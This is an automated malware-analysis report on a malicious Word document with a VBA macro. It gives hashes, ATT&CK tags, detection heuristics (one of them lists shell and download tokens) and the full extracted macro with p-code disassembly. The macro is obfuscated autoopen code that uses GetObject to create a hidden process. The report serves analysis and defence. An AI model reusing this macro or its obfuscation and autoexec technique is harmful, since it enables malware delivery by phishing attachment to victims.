Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 717a84434e391b96…

MALICIOUS

Office (OLE)

217.1 KB Created: 2019-04-04 20:04:00 Authoring application: Microsoft Office Word First seen: 2021-08-25
MD5: 0d21ed24b56c700bf3db413b730cb782 SHA-1: 604c08af16c9bb6eb888b7e205b847d97451c5c3 SHA-256: 717a84434e391b96e54406e72719cd23c08839a444946febb73630e14d2f8197
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file is identified as malicious by ClamAV and contains a VBA macro with an autoopen execution marker. The macro's obfuscated code, particularly the use of GetObject, suggests an intent to execute arbitrary code, likely to download and run a secondary payload. The presence of a VBA macro points to a spearphishing attachment as the likely initial access vector.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6931473-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6931473-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set EGXwoA = GetObject(dQGAAXAx.RBCAxDoB.ControlSource + OGAAZ1UD.IADBAA1x + dQGAAXAx.RBCAxDoB.ControlTipText)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 28055 bytes
SHA-256: b1224bef2dfd7b97e1fe953f18a3054ad9365bae8ffe0e0d236b5f49ce28daea
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "qDAZBA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "dQGAAXAx"
Attribute VB_Base = "0{831114E8-1BEE-475A-A30D-4E41E7BFB6FB}{9B3E3F9B-8D90-46EA-A146-D8006D2BE68B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "OGAAZ1UD"
Attribute VB_Base = "0{E8350667-3B50-4C9F-B57A-8401A0B47C81}{1A50BD04-63DA-4257-B45D-193D975D982C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "MDDkAC"
Function HAAkDGc()
   If 234793173 = 955128722 Then
      For sABD1xA = HAAQAAA_ To XBQQAA
         LwXGAA _
= 590788580 / Rnd(awGAAXQU) + 686524228 * _
CStr(UxAoAoUC) * 69788149 - Oct(524980210 * _
Fix(857532658) / 459805826 + Int(kAG_BAXA)) _
- NAAUDx + 819909122 - 39922484 + 734924491 - (KZADAAAx - 350500046)
      Next
End If
   If 838535891 = 308542598 Then
      For PAZAAA = sAAoXx To dXCc1cD
         NoDkAA _
= 607585464 / Rnd(tk4AkC) + 591834109 * _
CStr(B_xBwZD) * 612392643 - Oct(662243143 * _
Fix(363155519) / 729679268 + Int(wBDUDx)) _
- cXAkAGA + 414496952 - 59547387 + 997231206 - (RA_wAAB - 31807346)
      Next
End If
   If 615641498 = 971733395 Then
      For kAUAwAAC = vcDDAoA To zAGAU_Q
         lZDBAQw _
= 415278270 / Rnd(IQAcBcQ) + 766547606 * _
CStr(aCQDDBDx) * 357129484 - Oct(986053300 * _
Fix(619173463) / 715053212 + Int(MAwABB)) _
- ioDAxADB + 931587625 - 682466297 + 575405209 - (oUxwBAwA - 239044724)
      Next
End If
End Function
Sub autoopen()
k4CAUU
End Sub
Function k4CAUU()
On Error Resume Next
   If 882376888 = 619571257 Then
      For MA1wZA = AQAwoB To w_Gx1kQ_
         IUBcCQk _
= 546731093 / Rnd(OZCAwXA4) + 284838484 * _
CStr(kwQAUC4A) * 126094876 - Oct(132822607 * _
Fix(804812243) / 208842423 + Int(VUAAwkAc)) _
- VZDAkDAX + 964357706 - 662064978 + 454073096 - (LQ4ZAA - 613485824)
      Next
End If
   If 989143074 = 878505632 Then
      For iACXQoA = aAGUZ1 To OCQAAAAZ
         HXBcDQ _
= 555217259 / Rnd(rXQQDD) + 286200540 * _
CStr(lxDUA4UA) * 90769262 - Oct(195948124 * _
Fix(927750395) / 922434016 + Int(cA1AZQAk)) _
- BGGAAXA + 366949174 - 253224676 + 73240808 - (CACCAA - 444338928)
      Next
End If
Set EGXwoA = GetObject(dQGAAXAx.RBCAxDoB.ControlSource + OGAAZ1UD.IADBAA1x + dQGAAXAx.RBCAxDoB.ControlTipText)
   If 404351976 = 864257624 Then
      For OoUoQ_A = dBw1AQD To ZwXBZQ
         fAQAkDA _
= 125456284 / Rnd(fA4GUA) + 251774005 * _
CStr(iDwAGAAD) * 847533478 - Oct(291762408 * _
Fix(723287923) / 377251810 + Int(uBUDXAXA)) _
- iQA_BZ + 878302991 - 307811842 + 659708720 - (NUcBDQ - 5511155)
      Next
End If
   If 366230231 = 23927789 Then
      For DAAAXA = uUA4AkZ To I_UB4cG
         nUDAAA _
= 460946474 / Rnd(kA_AQ1AA) + 88722666 * _
CStr(SQcGAw) * 563469152 - Oct(163245704 * _
Fix(437422444) / 464684878 + Int(qAcBAc)) _
- GA_QAxD + 939410207 - 415686895 + 580904789 - (L1AcAAcC - 341766125)
      Next
End If
If 26668 = 26668 Then
   If 558906053 = 756399120 Then
      For n_xX1wQ = FAXAxU To iDAAkX
         GkAo_Ac _
= 666216049 / Rnd(lAAwZQA4) + 315904366 * _
CStr(dAAZAcU) * 544001265 - Oct(531890353 * _
Fix(638258695) / 274411602 + Int(JkoAA1CQ)) _
- jDADoA + 318412963 - 520745769 + 859019735 - (cBAUAB4k - 329483975)
      Next
End If
   If 825427278 = 717707181 Then
      For KAxAAQAQ = zA_DAoB To oDAUAD
         cUCZD1B _
= 39107371 / Rnd(JABAckQA) + 792787418 * _
CStr(pAZAZQG) * 453410141 - Oct(487295443 * _
Fix(197935780) / 791546417 + Int(pUwA4A)) _
- LxDGUA + 104465988 - 621382070 + 891863162 - (RQAAAGo - 510989451)
      Next
End If
EGXwoA. _
ShOwWiNdOw = dQGAAXAx.zADDkB - dQGAAXAx.zADDkB + dQGAAXAx.zADDkB + dQGAAXAx.zADDkB + dQGAAXAx.zADDkB
   If 921749450 = 424178618 Then
      For PABAU1Ao = QxBUQBG To TGBAw1x
         JAAoD1 _
= 187255025 / Rnd(HAcAXB) + 44942263 * _
CStr(rUU_A_) * 73056611 - Oct(734974863 * _
Fix(215142753) / 744384679 + Int(TGA_GC)) _
- h1QA1QQ + 370374378 - 208450990 + 486042751 - (RwX_BUQC - 800908120)
      Next
End If
   If 46404786 = 72137444 Then
      For WAZAACQ = nwAAAx To NcUUDUQ
         aCADDXXZ _
= 249357348 / Rnd(zDkU1BAB) + 320010181 * _
CStr(MZQQDCB) * 57753647 - Oct(623419736 * _
Fix(942402383) / 593168526 + Int(q4AGADG)) _
- IAXBcUQA + 687724953 - 985635941 + 568038887 - (n41DwGXU - 48672821)
      Next
End If
   If 332538084 = 687137459 Then
      For jABkQwAA = nABA4o To UADABUQA
         cooUQA _
= 126879652 / Rnd(TAABDU) + 317528645 * _
CStr(kQAwDB1G) * 901251468 - Oct(304079808 * _
Fix(888318083) / 170886860 + Int(zBAQAD)) _
- aA4AAA_ + 4496002 - 911569003 + 533052156 - (lAAAA1ko - 443443063)
      Next
End If
End If
   If 806380694 = 841993138 Then
      For sDGUUwAA = lAAUBBZA To hkAAAcAZ
         OoAUxUwA _
= 742778439 / Rnd(OQDQBDU) + 906095563 * _
CStr(IUAXUUAA) * 735113309 - Oct(890219700 * _
Fix(404580055) / 900206822 + Int(sAQD_AA)) _
- NUDAwG + 621142432 - 917344717 + 590580852 - (G_BZ1G - 317696602)
      Next
End If
   If 850571782 = 820413204 Then
      For qDADwDB = NA1AU_ To koZAAw_Q
         uAwAocA_ _
= 567412477 / Rnd(kxAU4AxQ) + 731814921 * _
CStr(BAAC1B) * 501913985 - Oct(161684867 * _
Fix(682226982) / 594667887 + Int(jBcBAAk)) _
- IBcoAAUQ + 437741442 - 990908872 + 29604938 - (G_ACU_C - 405727611)
      Next
End If
   If 799703587 = 893694253 Then
      For wZ1A1A = lcDXGA4C To QkGAB4AD
         bDcx4A _
= 35945190 / Rnd(PwcoAA) + 282362294 * _
CStr(FoA1QA) * 578343965 - Oct(221582042 * _
Fix(632795750) / 341975838 + Int(Kw_AADxD)) _
- oDAAQAAw + 574488268 - 562217973 + 82569835 - (YQwAAAUX - 693969351)
      Next
End If
Call GetObject(dQGAAXAx.RBCAxDoB.ControlTipText + OGAAZ1UD.tXZAUc + dQGAAXAx.RBCAxDoB).Create((dQGAAXAx.RBCAxDoB.ControlSource + OGAAZ1UD.FZAZA__A + dQGAAXAx.RBCAxDoB.ControlSource + OGAAZ1UD.bABccoA + dQGAAXAx.RBCAxDoB.Text + dQGAAXAx.RBCAxDoB.Text + OGAAZ1UD.K1kX4A4 + dQGAAXAx.RBCAxDoB.Text + dQGAAXAx.RBCAxDoB.ControlTipText + OGAAZ1UD.RBAAAQ + dQGAAXAx.RBCAxDoB.Text + OGAAZ1UD.DGAAAAA4 + dQGAAXAx.RBCAxDoB), UZBA4o, EGXwoA, dQGAAXAx.RBCAxDoB.Text)
   If 114423839 = 41015513 Then
      For wwCAUU4D = LGDxDC_C To sQD_AQ
         YBckoGA1 _
= 206640968 / Rnd(l1GcZQ) + 109934807 * _
CStr(lAUA4DcX) * 129961049 - Oct(464416589 * _
Fix(438689160) / 632289123 + Int(jAUkAUBQ)) _
- pUAXA4Uw + 124253709 - 149648664 + 965520884 - (qQZGAAA - 52441692)
      Next
End If
   If 975039976 = 420671791 Then
      For wDcQAAG = XAGQAQ To TAwBUCD
         zAD1_AG _
= 520658557 / Rnd(vDxUUQUA) + 549678387 * _
CStr(uwZU4Z) * 231881719 - Oct(790733395 * _
Fix(533595463) / 135960078 + Int(WAAAQxUc)) _
- rUADXQAx + 790133386 - 552057105 + 622074684 - (rBABAA - 729925162)
      Next
End If
End Function
Function i4UAD4()
   If 556728721 = 406100112 Then
      For pUBA1AAk = rGAA_G To OXwAQkoQ
         zDUBA_CU _
= 12155736 / Rnd(QBAB1UAA) + 259181390 * _
CStr(HGkUQACA) * 759303751 - Oct(525935581 * _
Fix(794505061) / 760407698 + Int(sAoAcAGo)) _
- fA4_A_oA + 904337549 - 217737275 + 938960532 - (UA1_1oA - 528402143)
      Next
End If
   If 311183684 = 86758424 Then
      For WA1wUxG = UUA4cAA To sAA4kUQ
         jAA1ACBA _
= 374184824 / Rnd(i4xkBoXA) + 876790579 * _
CStr(TXAwAA) * 829093414 - Oct(623617701 * _
Fix(911491354) / 446730194 + Int(DBGDB_)) _
- VCDAA41 + 40089592 - 216199338 + 197942300 - (sQoBZ4 - 314316518)
      Next
End If
   If 689048873 = 24041759 Then
      For mZZZwA = wGAkADDQ To PQ4GxAAw
         fAUAGAA1 _
= 110017819 / Rnd(IGUAAoA) + 922583667 * _
CStr(Y1AUGUA) * 487054899 - Oct(53097837 * _
Fix(873085610) / 8357508 + Int(FAc4_XA)) _
- PAAkACD + 568449950 - 601050770 + 290545431 - (HAADx_ - 671795801)
      Next
End If
End Function


' Processing file: /tmp/qstore_5ho06kve
' ===============================================================================
' Module streams:
' Macros/VBA/qDAZBA - 1104 bytes
' Macros/VBA/dQGAAXAx - 1158 bytes
' Macros/VBA/OGAAZ1UD - 1159 bytes
' Macros/VBA/MDDkAC - 11716 bytes
' Line #0:
' 	FuncDefn (Function MDDkAC())
' Line #1:
' 	LitDI4 0xA8D5 0x0DFE 
' 	LitDI4 0x1B92 0x38EE 
' 	Eq 
' 	IfBlock 
' Line #2:
' 	StartForVariable 
' 	Ld HAAkDGc 
' 	EndForVariable 
' 	Ld sABD1xA 
' 	Ld HAAQAAA_ 
' 	For 
' Line #3:
' 	LineCont 0x0010 01 00 00 00 0B 00 00 00 16 00 00 00 22 00 00 00
' 	LitDI4 0xB7E4 0x2336 
' 	Ld LwXGAA 
' 	ArgsLd Rnd 0x0001 
' 	Div 
' 	LitDI4 0x8744 0x28EB 
' 	Ld awGAAXQU 
' 	Coerce (Str) 
' 	Mul 
' 	LitDI4 0xE1F5 0x0428 
' 	Mul 
' 	Add 
' 	LitDI4 0x8FF2 0x1F4A 
' 	LitDI4 0xE8F2 0x331C 
' 	FnFix 
' 	Mul 
' 	LitDI4 0x1482 0x1B68 
' 	Div 
' 	Ld UxAoAoUC 
' 	FnInt 
' 	Add 
' 	ArgsLd Oct 0x0001 
' 	Sub 
' 	Ld kAG_BAXA 
' 	Sub 
' 	LitDI4 0xD202 0x30DE 
' 	Add 
' 	LitDI4 0x2B34 0x0261 
' 	Sub 
' 	LitDI4 0x0ECB 0x2BCE 
' 	Add 
' 	Ld NAAUDx 
' 	LitDI4 0x34CE 0x14E4 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St XBQQAA 
' Line #4:
' 	StartForVariable 
' 	Next 
' Line #5:
' 	EndIfBlock 
' Line #6:
' 	LitDI4 0x0AD3 0x31FB 
' 	LitDI4 0xFC86 0x1263 
' 	Eq 
' 	IfBlock 
' Line #7:
' 	StartForVariable 
' 	Ld KZADAAAx 
' 	EndForVariable 
' 	Ld PAZAAA 
' 	Ld sAAoXx 
' 	For 
' Line #8:
' 	LineCont 0x0010 01 00 00 00 0B 00 00 00 16 00 00 00 22 00 00 00
' 	LitDI4 0x04B8 0x2437 
' 	Ld NoDkAA 
' 	ArgsLd Rnd 0x0001 
' 	Div 
' 	LitDI4 0xABFD 0x2346 
' 	Ld tk4AkC 
' 	Coerce (Str) 
' 	Mul 
' 	LitDI4 0x5EC3 0x2480 
' 	Mul 
' 	Add 
' 	LitDI4 0x0747 0x2779 
' 	LitDI4 0x503F 0x15A5 
' 	FnFix 
' 	Mul 
' 	LitDI4 0x05A4 0x2B7E 
' 	Div 
' 	Ld B_xBwZD 
' 	FnInt 
' 	Add 
' 	ArgsLd Oct 0x0001 
' 	Sub 
' 	Ld wBDUDx 
' 	Sub 
' 	LitDI4 0xB8B8 0x18B4 
' 	Add 
' 	LitDI4 0x9EFB 0x038C 
' 	Sub 
' 	LitDI4 0x8A66 0x3B70 
' 	Add 
' 	Ld cXAkAGA 
' 	LitDI4 0x5772 0x01E5 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St dXCc1cD 
' Line #9:
' 	StartForVariable 
' 	Next 
' Line #10:
' 	EndIfBlock 
' Line #11:
' 	LitDI4 0xF19A 0x24B1 
' 	LitDI4 0x7993 0x39EB 
' 	Eq 
' 	IfBlock 
' Line #12:
' 	StartForVariable 
' 	Ld RA_wAAB 
' 	EndForVariable 
' 	Ld kAUAwAAC 
' 	Ld vcDDAoA 
' 	For 
' Line #13:
' 	LineCont 0x0010 01 00 00 00 0B 00 00 00 16 00 00 00 22 00 00 00
' 	LitDI4 0xA4BE 0x18C0 
' 	Ld lZDBAQw 
' 	ArgsLd Rnd 0x0001 
' 	Div 
' 	LitDI4 0x9696 0x2DB0 
' 	Ld IQAcBcQ 
' 	Coerce (Str) 
' 	Mul 
' 	LitDI4 0x5D0C 0x1549 
' 	Mul 
' 	Add 
' 	LitDI4 0xFAB4 0x3AC5 
' 	LitDI4 0xD657 0x24E7 
' 	FnFix 
' 	Mul 
' 	LitDI4 0xD89C 0x2A9E 
' 	Div 
' 	Ld aCQDDBDx 
' 	FnInt 
' 	Add 
' 	ArgsLd Oct 0x0001 
' 	Sub 
' 	Ld MAwABB 
' 	Sub 
' 	LitDI4 0xE629 0x3786 
' 	Add 
' 	LitDI4 0x9BF9 0x28AD 
' 	Sub 
' 	LitDI4 0xFC99 0x224B 
' 	Add 
' 	Ld ioDAxADB 
' 	LitDI4 0x8874 0x0E3F 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St zAGAU_Q 
' Line #14:
' 	StartForVariable 
' 	Next 
' Line #15:
' 	EndIfBlock 
' Line #16:
' 	EndFunc 
' Line #17:
' 	FuncDefn (Sub oUxwBAwA())
' Line #18:
' 	ArgsCall autoopen 0x0000 
' Line #19:
' 	EndSub 
' Line #20:
' 	FuncDefn (Function autoopen())
' Line #21:
' 	OnError (Resume Next) 
' Line #22:
' 	LitDI4 0x00B8 0x3498 
' 	LitDI4 0xE839 0x24ED 
' 	Eq 
' 	IfBlock 
' Line #23:
' 	StartForVariable 
' 	Ld k4CAUU 
' 	EndForVariable 
' 	Ld MA1wZA 
' 	Ld AQAwoB 
' 	For 
' Line #24:
' 	LineCont 0x0010 01 00 00 00 0B 00 00 00 16 00 00 00 22 00 00 00
' 	LitDI4 0x7455 0x2096 
' 	Ld IUBcCQk 
' 	ArgsLd Rnd 0x0001 
' 	Div 
' 	LitDI4 0x4A54 0x10FA 
' 	Ld OZCAwXA4 
' 	Coerce (Str) 
' 	Mul 
' 	LitDI4 0x0E1C 0x0784 
' 	Mul 
' 	Add 
' 	LitDI4 0xB64F 0x07EA 
' 	LitDI4 0x75D3 0x2FF8 
' 	FnFix 
' 	Mul 
' 	LitDI4 0xAEB7 0x0C72 
' 	Div 
' 	Ld kwQAUC4A 
' 	FnInt 
' 	Add 
' 	ArgsLd Oct 0x0001 
' 	Sub 
' 	Ld VUAAwkAc 
' 	Sub 
' 	LitDI4 0xEE4A 0x397A 
' 	Add 
' 	LitDI4 0x4F52 0x2776 
' 	Sub 
' 	LitDI4 0x9B08 0x1B10 
' 	Add 
' 	Ld VZDAkDAX 
' 	LitDI4 0x0D00 0x2491 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St w_Gx1kQ_ 
' Line #25:
' 	StartForVariable 
' 	Next 
' Line #26:
' 	EndIfBlock 
' Line #27:
' 	LitDI4 0x2022 0x3AF5 
' 	LitDI4 0xEEA0 0x345C 
' 	Eq 
' 	IfBlock 
' Line #28:
' 	StartForVariable 
' 	Ld LQ4ZAA 
' 	EndForVariable 
' 	Ld iACXQoA 
' 	Ld aAGUZ1 
' 	For 
' Line #29:
' 	LineCont 0x0010 01 00 00 00 0B 00 00 00 16 00 00 00 22 00 00 00
' 	LitDI4 0xF16B 0x2117 
' 	Ld HXBcDQ 
' 	ArgsLd Rnd 0x0001 
' 	Div 
' 	LitDI4 0x12DC 0x110F 
' 	Ld rXQQDD 
' 	Coerce (Str) 
' 	Mul 
' 	LitDI4 0x076E 0x0569 
' 	Mul 
' 	Add 
' 	LitDI4 0xEE5C 0x0BAD 
' 	LitDI4 0x58FB 0x374C 
' 	FnFix 
' 	Mul 
' 	LitDI4 0x39E0 0x36FB 
' 	Div 
' 	Ld lxDUA4UA 
' 	FnInt 
' 	Add 
' 	ArgsLd Oct 0x0001 
' 	Sub 
' 	Ld cA1AZQAk 
' 	Sub 
' 	LitDI4 0x3336 0x15DF 
' 	Add 
' 	LitDI4 0xE6E4 0x0F17 
' 	Sub 
' 	LitDI4 0x90E8 0x045D 
' 	Add 
' 	Ld BGGAAXA 
' 	LitDI4 0x12F0 0x1A7C 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St OCQAAAAZ 
' Line #30:
' 	StartForVariable 
' 	Next 
' Line #31:
' 	EndIfBlock 
' Line #32:
' 	SetStmt 
' 	Ld OGAAZ1UD 
' 	MemLd GetObject 
' 	MemLd RBCAxDoB 
' 	Ld MSForms 
' 	MemLd ControlSource 
' 	Add 
' 	Ld OGAAZ1UD 
' 	MemLd GetObject 
' 	MemLd Form 
' 	Add 
' 	ArgsLd EGXwoA 0x0001 
' 	Set CACCAA 
' Line #33:
' 	LitDI4 0xEBE8 0x1819 
' 	LitDI4 0x8658 0x3383 
' 	Eq 
' 	IfBlock 
' Line #34:
' 	StartForVariable 
' 	Ld IADBAA1x 
' 	EndForVariable 
' 	Ld OoUoQ_A 
' 	Ld dBw1AQD 
' 	For 
' Line #35:
' 	LineCont 0x0010 01 00 00 00 0B 00 00 00 16 00 00 00 22 00 00 00
' 	LitDI4 0x4F9C 0x077A 
' 	Ld fAQAkDA 
' 	ArgsLd Rnd 0x0001 
' 	Div 
' 	LitDI4 0xC435 0x0F01 
' 	Ld fA4GUA 
' 	Coerce (Str) 
' 	Mul 
' 	LitDI4 0x55A6 0x3284 
' 	Mul 
' 	Add 
' 	LitDI4 0xF0E8 0x1163 
' 	LitDI4 0x7F73 0x2B1C 
' 	FnFix 
' 	Mul 
' 	LitDI4 0x67E2 0x167C 
' 	Div 
' 	Ld iDwAGAAD 
' 	FnInt 
' 	Add 
' 	ArgsLd Oct 0x0001 
' 	Sub 
' 	Ld uBUDXAXA 
' 	Sub 
' 	LitDI4 0xD70F 0x3459 
' 	Add 
' 	LitDI4 0xD602 0x1258 
' 	Sub 
' 	LitDI4 0x5B30 0x2752 
' 	Add 
' 	Ld iQA_BZ 
' 	LitDI4 0x17F3 0x0054 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St ZwXBZQ 
' Line #36:
' 	StartForVariable 
' 	Next 
' Line #37:
' 	EndIfBlock 
' Line #38:
' 	LitDI4 0x3AD7 0x15D4 
' 	LitDI4 0x1BED 0x016D 
' 	Eq 
' 	IfBlock 
' Line #39:
' 	StartForVariable 
' 	Ld NUcBDQ 
' 	EndForVariable 
' 	Ld DAAAXA 
' 	Ld uUA4AkZ 
' 	For 
' Line #40:
' 	LineCont 0x0010 01 00 00 00 0B 00 00 00 16 00 00 00 22 00 00 00
' 	LitDI4 0x7C2A 0x1B79 
' 	Ld nUDAAA 
' 	ArgsLd Rnd 0x0001 
' 	Div 
' 	LitDI4 0xCCEA 0x0549 
' 	Ld kA_AQ1AA 
' 	Coerce (Str) 
' 	Mul 
' 	LitDI4 0xDB60 0x2195 
' 	Mul 
' 	Add 
' 	LitDI4 0xEE88 0x09BA 
' 	LitDI4 0x896C 0x1A12 
' 	FnFix 
' 	Mul 
' 	LitDI4 0x874E 0x1BB2 
' 	Div 
' 	Ld SQcGAw 
' 	FnInt 
' 	Add 
' 	ArgsLd Oct 0x0001 
' 	Sub 
' 	Ld qAcBAc 
' 	Sub 
' 	LitDI4 0x431F 0x37FE 
' 	Add 
' 	LitDI4 0xE0EF 0x18C6 
' 	Sub 
' 	LitDI4 0xE755 0x229F 
' 	Add 
' 	Ld GA_QAxD 
' 	LitDI4 0xEFED 0x145E 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St I_UB4cG 
' Line #41:
' 	StartForVariable 
' 	Next 
' Line #42:
' 	EndIfBlock 
' Line #43:
' 	LitDI2 0x682C 
' 	LitDI2 0x682C 
' 	Eq 
' 	IfBlock 
' Line #44:
' 	LitDI4 0x3AC5 0x2150 
' 	LitDI4 0xBC10 0x2D15 
' 	Eq 
' 	IfBlock 
' Line #45:
' 	StartForVariable 
' 	Ld L1AcAAcC 
' 	EndForVariable 
' 	Ld n_xX1wQ 
' 	Ld FAXAxU 
' 	For 
' Line #46:
' 	LineCont 0x0010 01 00 00 00 0B 00 00 00 16 00 00 00 22 00 00 00
' 	LitDI4 0xA671 0x27B5 
' 	Ld GkAo_Ac 
' 	ArgsLd Rnd 0x0001 
' 	Div 
' 	LitDI4 0x516E 0x12D4 
' 	Ld lAAwZQA4 
' 	Coerce (Str) 
' 	Mul 
' 	LitDI4 0xCCF1 0x206C 
' 	Mul 
' 	Add 
' 	LitDI4 0x00B1 0x1FB4 
' 	LitDI4 0x0E07 0x260B 
' 	FnFix 
' 	Mul 
' 	LitDI4 0x3052 0x105B 
' 	Div 
' 	Ld dAAZAcU 
' 	FnInt 
' 	Add 
' 	ArgsLd Oct 0x0001 
' 	Sub 
' 	Ld JkoAA1CQ 
' 	Sub 
' 	LitDI4 0x98A3 0x12FA 
' 	Add 
' 	LitDI4 0xF329 0x1F09 
' 	Sub 
' 	LitDI4 0x99D7 0x3333 
' 	Add 
' 	Ld jDADoA 
' 	LitDI4 0x86C7 0x13A3 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St iDAAkX 
' Line #47:
' 	StartForVariable 
' 	Next 
' Line #48:
' 	EndIfBlock 
' Line #49:
' 	LitDI4 0x054E 0x3133 
' 	LitDI4 0x57AD 0x2AC7 
' 	Eq 
' 	IfBlock 
' Line #50:
' 	StartForVariable 
' 	Ld cBAUAB4k 
' 	EndForVariable 
' 	Ld KAxAAQAQ 
' 	Ld zA_DAoB 
' 	For 
' Line #51:
' 	LineCont 0x0010 01 00 00 00 0B 00 00 00 16 00 00 00 22 00 00 00
' 	LitDI4 0xBB2B 0x0254 
' 	Ld cUCZD1B 
' 	ArgsLd Rnd 0x0001 
' 	Div 
' 	LitDI4 0xF9DA 0x2F40 
' 	Ld JABAckQA 
' 	Coerce (Str) 
' 	Mul 
' 	LitDI4 0x7D5D 0x1B06 
' 	Mul 
' 	Add 
' 	LitDI4 0x89D3 0x1D0B 
' 	LitDI4 0x42A4 0x0BCC 
' 	FnFix 
' 	Mul 
' 	LitDI4 0x0A31 0x2F2E 
' 	Div 
' 	Ld pAZAZQG 
' 	FnInt 
' 	Add 
' 	ArgsLd Oct 0x0001 
' 	Sub 
' 	Ld pUwA4A 
' 	Sub 
' 	LitDI4 0x0644 0x063A 
' 	Add 
' 	LitDI4 0x89B6 0x2509 
' 	Sub 
' 	LitDI4 0xC07A 0x3528 
' 	Add 
' 	Ld LxDGUA 
' 	LitDI4 0x148B 0x1E75 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St oDAUAD 
' Line #52:
' 	StartForVariable 
' 	Next 
' Line #53:
' 	EndIfBlock 
' Line #54:
' 	LineCont 0x0004 02 00 00 00
' 	Ld OGAAZ1UD 
' 	MemLd ShOwWiNdOw 
' 	Ld OGAAZ1UD 
' 	MemLd ShOwWiNdOw 
' 	Sub 
' 	Ld OGAAZ1UD 
' 	MemLd ShOwWiNdOw 
' 	Add 
' 	Ld OGAAZ1UD 
' 	MemLd ShOwWiNdOw 
' 	Add 
' 	Ld OGAAZ1UD 
' 	MemLd ShOwWiNdOw 
' 	Add 
' 	Ld CACCAA 
' 	MemSt RQAAAGo 
' Line #55:
' 	LitDI4 0xC7CA 0x36F0 
' 	LitDI4 0x73BA 0x1948 
' 	Eq 
' 	IfBlock 
' Line #56:
' 	StartForVariable 
' 	Ld zADDkB 
' 	EndForVariable 
' 	Ld PABAU1Ao 
' 	Ld QxBUQBG 
' 	For 
' Line #57:
' 	LineCont 0x0010 01 00 00 00 0B 00 00 00 16 00 00 00 22 00 00 00
' 	LitDI4 0x48F1 0x0B29 
' 	Ld JAAoD1 
' 	ArgsLd Rnd 0x0001 
' 	Div 
' 	LitDI4 0xC3B7 0x02AD 
' 	Ld HAcAXB 
' 	Coerce (Str) 
' 	Mul 
' 	LitDI4 0xC163 0x045A 
' 	Mul 
' 	Add 
' 	LitDI4 0xD38F 0x2BCE 
' 	LitDI4 0xD161 0x0CD2 
' 	FnFix 
' 	Mul 
' 	LitDI4 0x68A7 0x2C5E 
' 	Div 
' 	Ld rUU_A_ 
' 	FnInt 
' 	Add 
' 	ArgsLd Oct 0x0001 
' 	Sub 
' 	Ld TGA_GC 
' 	Sub 
' 	LitDI4 0x76EA 0x1613 
' 	Add 
' 	LitDI4 0xB5AE 0x0C6C 
' 	Sub 
' 	LitDI4 0x6C7F 0x1CF8 
' 	Add 
' 	Ld h1QA1QQ 
' 	LitDI4 0xE358 0x2FBC 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St TGBAw1x 
' Line #58:
' 	StartForVariable 
' 	Next 
' Line #59:
' 	EndIfBlock 
' Line #60:
' 	LitDI4 0x14B2 0x02C4 
' 	LitDI4 0xBAE4 0x044C 
' 	Eq 
' 	IfBlock 
' Line #61:
' 	StartForVariable 
' 	Ld RwX_BUQC 
' 	EndForVariable 
' 	Ld WAZAACQ 
' 	Ld nwAAAx 
' 	For 
' Line #62:
' 	LineCont 0x0010 01 00 00 00 0B 00 00 00 16 00 00 00 22 00 00 00
' 	LitDI4 0xE424 0x0EDC 
' 	Ld aCADDXXZ 
' 	ArgsLd Rnd 0x0001 
' 	Div 
' 	LitDI4 0xF7C5 0x1312 
' 	Ld zDkU1BAB 
' 	Coerce (Str) 
' 	Mul 
' 	LitDI4 0x402F 0x0371 
' 	Mul 
' 	Add 
